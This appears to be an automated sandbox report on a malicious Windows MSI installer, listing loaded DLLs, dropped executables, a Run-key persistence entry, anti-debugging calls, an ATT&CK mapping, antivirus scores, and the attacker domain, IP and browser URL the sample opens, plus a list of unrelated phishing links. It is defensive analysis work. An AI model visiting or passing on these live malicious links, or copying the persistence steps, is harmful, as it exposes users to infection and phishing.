Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Installer\MSID537.tmp	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\Installer\MSID537.tmp	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Installer\MSID537.tmp	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Installer\MSID537.tmp	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\Installer\MSID537.tmp	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\Installer\MSID537.tmp	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\Installer\MSID558.tmp	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\Installer\MSID558.tmp	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Installer\MSID558.tmp	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Installer\MSID558.tmp	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\Installer\MSID558.tmp	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\Installer\MSID558.tmp	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior

Source: C:\Windows\Installer\MSID537.tmp

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00020424-0000-0000-C000-000000000046}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: APP-DANF0001S7D88002555555222S5S.msi

Static file information: File size 24303616 > 1048576

Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\viewer.pdbC source: MSID537.tmp, 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmp, MSID537.tmp, 00000004.00000000.2157418769.0000000000BCD000.00000002.00000001.01000000.00000003.sdmp, MSID558.tmp, 00000005.00000000.2157862564.0000000000B8D000.00000002.00000001.01000000.00000004.sdmp, APP-DANF0001S7D88002555555222S5S.msi, 4fc2c3.msi.2.dr
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\AICustAct.pdb source: APP-DANF0001S7D88002555555222S5S.msi, MSIC6BB.tmp.2.dr, 4fc2c3.msi.2.dr
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\viewer.pdb source: MSID537.tmp, 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmp, MSID537.tmp, 00000004.00000000.2157418769.0000000000BCD000.00000002.00000001.01000000.00000003.sdmp, MSID558.tmp, 00000005.00000000.2157862564.0000000000B8D000.00000002.00000001.01000000.00000004.sdmp, APP-DANF0001S7D88002555555222S5S.msi, 4fc2c3.msi.2.dr

Source: initial sample

Static PE information: section where entry point is pointing to: .vf,

Source: AGLoader.dll.2.dr	Static PE information: section name: .didata
Source: AGLoader.dll.2.dr	Static PE information: section name: .?e?
Source: AGLoader.dll.2.dr	Static PE information: section name: .fbk
Source: AGLoader.dll.2.dr	Static PE information: section name: .vf,

Source: C:\Windows\Installer\MSID537.tmp

Code function: 4_2_00BA81F0 push ecx; ret

4_2_00BA8203

Persistence and Installation Behavior

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Windows\System32\msiexec.exe	Executable created and started: C:\Windows\Installer\MSID537.tmp			Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Executable created and started: C:\Windows\Installer\MSID558.tmp			Jump to behavior

Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC60E.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC805.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Roaming\Defendr\LKdayanJELT9QDD900055.exe	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC778.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Roaming\Defendr\AGLoader.dll	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSID537.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC8F1.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSID558.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC6BB.tmp	Jump to dropped file

Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC60E.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC805.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC778.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSID537.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC8F1.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSID558.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC6BB.tmp	Jump to dropped file

Source: C:\Windows\System32\msiexec.exe	Registry value created or modified: HKEY_CURRENT_USER\Microsoft\Windows\CurrentVersion\Run PlacaVideo			Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Registry value created or modified: HKEY_CURRENT_USER\Microsoft\Windows\CurrentVersion\Run PlacaVideo			Jump to behavior

Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIC60E.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIC805.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIC778.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Defendr\LKdayanJELT9QDD900055.exe	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Defendr\AGLoader.dll	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIC8F1.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIC6BB.tmp	Jump to dropped file

Source: C:\Windows\Installer\MSID537.tmp

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_4-35069

Source: C:\Windows\Installer\MSID537.tmp

API coverage: 4.5 %

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: C:\Windows\Installer\MSID537.tmp

Code function: 4_2_00BC05E9 FindFirstFileExW,

4_2_00BC05E9

Source: C:\Windows\System32\msiexec.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Installer\MSID537.tmp

Code function: 4_2_00BA83BD IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

4_2_00BA83BD

Source: C:\Windows\Installer\MSID537.tmp	Code function: 4_2_00BC03E8 mov eax, dword ptr fs:[00000030h]		4_2_00BC03E8
Source: C:\Windows\Installer\MSID537.tmp	Code function: 4_2_00BB843F mov ecx, dword ptr fs:[00000030h]		4_2_00BB843F

Source: C:\Windows\Installer\MSID537.tmp

Code function: 4_2_00BC1533 GetProcessHeap,

4_2_00BC1533

Source: C:\Windows\System32\msiexec.exe

Process created: C:\Windows\Installer\MSID537.tmp "C:\Windows\Installer\MSID537.tmp" /DontWait "C:\Users\user\Documents\microsoft.cmd" C:\Users\user\Documents\

Jump to behavior

Source: C:\Windows\Installer\MSID537.tmp	Code function: 4_2_00BA83BD IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_00BA83BD
Source: C:\Windows\Installer\MSID537.tmp	Code function: 4_2_00BAC3B6 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_00BAC3B6
Source: C:\Windows\Installer\MSID537.tmp	Code function: 4_2_00BA8553 SetUnhandledExceptionFilter,	4_2_00BA8553
Source: C:\Windows\Installer\MSID537.tmp	Code function: 4_2_00BA7B9C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_2_00BA7B9C

Source: C:\Windows\Installer\MSID537.tmp

Code function: 4_2_00B87660 GetWindowsDirectoryW,GetForegroundWindow,ShellExecuteExW,ShellExecuteExW,GetModuleHandleW,GetProcAddress,AllowSetForegroundWindow,GetModuleHandleW,GetProcAddress,Sleep,EnumWindows,BringWindowToTop,WaitForSingleObject,GetExitCodeProcess,GetWindowThreadProcessId,GetWindowLongW,

4_2_00B87660

Source: C:\Windows\System32\cmd.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://senhordos-infects.digital/clientes/inspecionando.php

Jump to behavior

Source: C:\Windows\Installer\MSID537.tmp

Code function: 4_2_00BA801C cpuid

4_2_00BA801C

Source: C:\Windows\Installer\MSID537.tmp	Code function: GetLocaleInfoEx,	4_2_00BA71C1
Source: C:\Windows\Installer\MSID537.tmp	Code function: GetLocaleInfoEx,FormatMessageA,	4_2_00B92161
Source: C:\Windows\Installer\MSID537.tmp	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	4_2_00BC3414
Source: C:\Windows\Installer\MSID537.tmp	Code function: EnumSystemLocalesW,	4_2_00BC36B6
Source: C:\Windows\Installer\MSID537.tmp	Code function: EnumSystemLocalesW,	4_2_00BBC7A2
Source: C:\Windows\Installer\MSID537.tmp	Code function: EnumSystemLocalesW,	4_2_00BC379C
Source: C:\Windows\Installer\MSID537.tmp	Code function: EnumSystemLocalesW,	4_2_00BC3701
Source: C:\Windows\Installer\MSID537.tmp	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	4_2_00BC3827
Source: C:\Windows\Installer\MSID537.tmp	Code function: GetLocaleInfoW,	4_2_00BC3A7A
Source: C:\Windows\Installer\MSID537.tmp	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	4_2_00BC3BA3
Source: C:\Windows\Installer\MSID537.tmp	Code function: GetLocaleInfoW,	4_2_00BC3CA9
Source: C:\Windows\Installer\MSID537.tmp	Code function: GetLocaleInfoW,	4_2_00BBCD1F
Source: C:\Windows\Installer\MSID537.tmp	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	4_2_00BC3D78

Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Windows\Installer\MSID537.tmp

Code function: 4_2_00BA8615 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

4_2_00BA8615

Source: C:\Windows\Installer\MSID537.tmp

Code function: 4_2_00BBD192 GetTimeZoneInformation,

4_2_00BBD192

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Replication Through Removable Media	1 Native API	1 Registry Run Keys / Startup Folder	1 Exploitation for Privilege Escalation	121 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	11 Process Injection	1 Disable or Modify Tools	LSASS Memory	12 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Registry Run Keys / Startup Folder	11 Process Injection	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	NTDS	11 Peripheral Device Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	33 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 File Deletion	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
APP-DANF0001S7D88002555555222S5S.msi	44%	Virustotal		Browse
APP-DANF0001S7D88002555555222S5S.msi	37%	ReversingLabs	Win32.Trojan.Generic

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\Defendr\LKdayanJELT9QDD900055.exe	100%	Avira	ADWARE/NotToTrack.dzcps
C:\Users\user\AppData\Roaming\Defendr\AGLoader.dll	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\Defendr\AGLoader.dll	16%	ReversingLabs
C:\Users\user\AppData\Roaming\Defendr\AGLoader.dll	23%	Virustotal		Browse
C:\Users\user\AppData\Roaming\Defendr\LKdayanJELT9QDD900055.exe	47%	ReversingLabs	Win32.Adware.NotToTrack
C:\Users\user\AppData\Roaming\Defendr\LKdayanJELT9QDD900055.exe	62%	Virustotal		Browse
C:\Windows\Installer\MSIC60E.tmp	0%	ReversingLabs
C:\Windows\Installer\MSIC60E.tmp	1%	Virustotal		Browse
C:\Windows\Installer\MSIC6BB.tmp	0%	ReversingLabs
C:\Windows\Installer\MSIC6BB.tmp	1%	Virustotal		Browse
C:\Windows\Installer\MSIC778.tmp	0%	ReversingLabs
C:\Windows\Installer\MSIC778.tmp	1%	Virustotal		Browse
C:\Windows\Installer\MSIC805.tmp	0%	ReversingLabs
C:\Windows\Installer\MSIC805.tmp	1%	Virustotal		Browse
C:\Windows\Installer\MSIC8F1.tmp	0%	ReversingLabs
C:\Windows\Installer\MSIC8F1.tmp	1%	Virustotal		Browse
C:\Windows\Installer\MSID537.tmp	0%	ReversingLabs
C:\Windows\Installer\MSID537.tmp	0%	Virustotal		Browse
C:\Windows\Installer\MSID558.tmp	0%	ReversingLabs
C:\Windows\Installer\MSID558.tmp	0%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
senhordos-infects.digital	0%	Virustotal		Browse
www.google.com	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://senhordos-infects.digital/favicon.ico	0%	Avira URL Cloud	safe
http://senhordos-infects.digital/favicon.ico	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
senhordos-infects.digital	45.178.182.88	true	false	0%, Virustotal, Browse	unknown
www.google.com	142.250.185.100	true	false	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://senhordos-infects.digital/favicon.ico	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://senhordos-infects.digital/clientes/inspecionando.php	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
239.255.255.250	unknown	Reserved	unknown	unknown	false
45.178.182.88	senhordos-infects.digital	Brazil	269098	AbsamHostInternetDataCenterBR	false
142.250.185.100	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.6

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1487798
Start date and time:	2024-08-05 08:18:15 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 47s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	APP-DANF0001S7D88002555555222S5S.msi
Detection:	MAL
Classification:	mal76.evad.winMSI@31/144@4/4
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 96% Number of executed functions: 5 Number of non-executed functions: 148
Cookbook Comments:	Found application associated with file extension: .msi

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.185.131, 142.250.185.78, 108.177.15.84, 34.104.35.123, 192.229.221.95, 93.184.221.240, 216.58.206.67
Excluded domains from analysis (whitelisted): clients1.google.com, client.wns.windows.com, fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, dns.msftncsi.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, update.googleapis.com, clients.l.google.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtSetInformationFile calls found.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
239.255.255.250	https://u20321984.ct.sendgrid.net/ls/click?upn=u001.fMSdnDPwyZg8aQYrku4rkJbSTdbYAv-2FauBRdThCsGOmXIaK-2BLk8Ua513S-2BMu-2FBmhCk9NWdfbVaqs3xDSzufJANaLHYH0uxFPDAE5cm8b2MlspXZHjiOm-2BKpu-2Fy9Hy3KZMEwgj5ZdXsk9DhPWgXhivQ-3D-3Dh6E3_hDqK5-2FqkMaHofB46cg26-2FG2ADrhn0F-2Bv1o9g2b6m-2BukLOFGOYA6HwkTzfLZJtXWW64KPOJ7PhKrOCr7UXQRzJDDstp2Y83XLNk05736tBLXvsIM5GvaNogGaU0hS-2F5G5rfaLvaI3rVLwHqyhg9tac-2ByfNiZC4dRRCWsal-2F8dFl1y3vxYorbjyfaqAl0HIwmCygEhZ3SsjdBRdopw56Rz-2FQ-3D-3D	Get hash	malicious	HTMLPhisher	Browse
	https://hU6Od.eschithym.com/a3LMa/#Mmarla.guillaume@nationalmi.com	Get hash	malicious	HTMLPhisher	Browse
	https://u20321984.ct.sendgrid.net/ls/click?upn=u001.fMSdnDPwyZg8aQYrku4rkJbSTdbYAv-2FauBRdThCsGOmXIaK-2BLk8Ua513S-2BMu-2FBmhCk9NWdfbVaqs3xDSzufJANaLHYH0uxFPDAE5cm8b2MlspXZHjiOm-2BKpu-2Fy9Hy3KZMEwgj5ZdXsk9DhPWgXhivQ-3D-3Dh6E3_hDqK5-2FqkMaHofB46cg26-2FG2ADrhn0F-2Bv1o9g2b6m-2BukLOFGOYA6HwkTzfLZJtXWW64KPOJ7PhKrOCr7UXQRzJDDstp2Y83XLNk05736tBLXvsIM5GvaNogGaU0hS-2F5G5rfaLvaI3rVLwHqyhg9tac-2ByfNiZC4dRRCWsal-2F8dFl1y3vxYorbjyfaqAl0HIwmCygEhZ3SsjdBRdopw56Rz-2FQ-3D-3D	Get hash	malicious	HTMLPhisher	Browse
	1.html	Get hash	malicious	Unknown	Browse
	https://www.facebook.com/share/NeSJNTgi6uwSuafc/?mibextid=WC7FNe	Get hash	malicious	Unknown	Browse
	https://drive.google.com/file/d/1qk4M6gC8HMvUrCnMW6Gm-43NKGrREvQO/view?usp=sharing	Get hash	malicious	Unknown	Browse
	Myinfotechpartner.pdf	Get hash	malicious	HTMLPhisher	Browse
	https://docusign.co1.qualtrics.com/jfe/form/SV_26sMhO8mj4NTNwW?Q_DL=j4ixO0QLhCGZ05c_26sMhO8mj4NTNwW_SGC_M0pmBFARRCH7nct&Q_CHL=email&c=E,1,i87ar3WT5YTb2I06Qel70_caUQF8DkMrsf9E3KUnhXBmdq-eRb01NAUOTNMMeKwTo36jtiMuC2FwgwEmB6vx1Z7kdfbkVIFFqKm51ODumA,,&typo=1&ancr_add=1	Get hash	malicious	Unknown	Browse
	https://pub-7b8cca81dcf84958b8a0d1546cd93eb2.r2.dev/index.html	Get hash	malicious	Unknown	Browse
	http://kinganik6263.github.io/Login-page/	Get hash	malicious	HTMLPhisher	Browse
45.178.182.88	documento_fiscal.msi	Get hash	malicious	Unknown	Browse	senhordos-infects.digital/favicon.ico

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
senhordos-infects.digital	documento_fiscal.msi	Get hash	malicious	Unknown	Browse	45.178.182.88

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AbsamHostInternetDataCenterBR	documento_fiscal.msi	Get hash	malicious	Unknown	Browse	45.178.182.88
	Pedido-Faturado-398731.msi	Get hash	malicious	Unknown	Browse	45.178.181.171
	Pedido-Faturado-398731.msi	Get hash	malicious	Unknown	Browse	45.178.181.171

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	https://drive.google.com/file/d/1qk4M6gC8HMvUrCnMW6Gm-43NKGrREvQO/view?usp=sharing	Get hash	malicious	Unknown	Browse	173.222.162.64
	https://pub-7b8cca81dcf84958b8a0d1546cd93eb2.r2.dev/index.html	Get hash	malicious	Unknown	Browse	173.222.162.64
	https://pub-e9e611a560554869ac6fd846941f56dc.r2.dev/index.html	Get hash	malicious	Unknown	Browse	173.222.162.64
	https://sunnatbee.github.io/instagram.com/	Get hash	malicious	HTMLPhisher	Browse	173.222.162.64
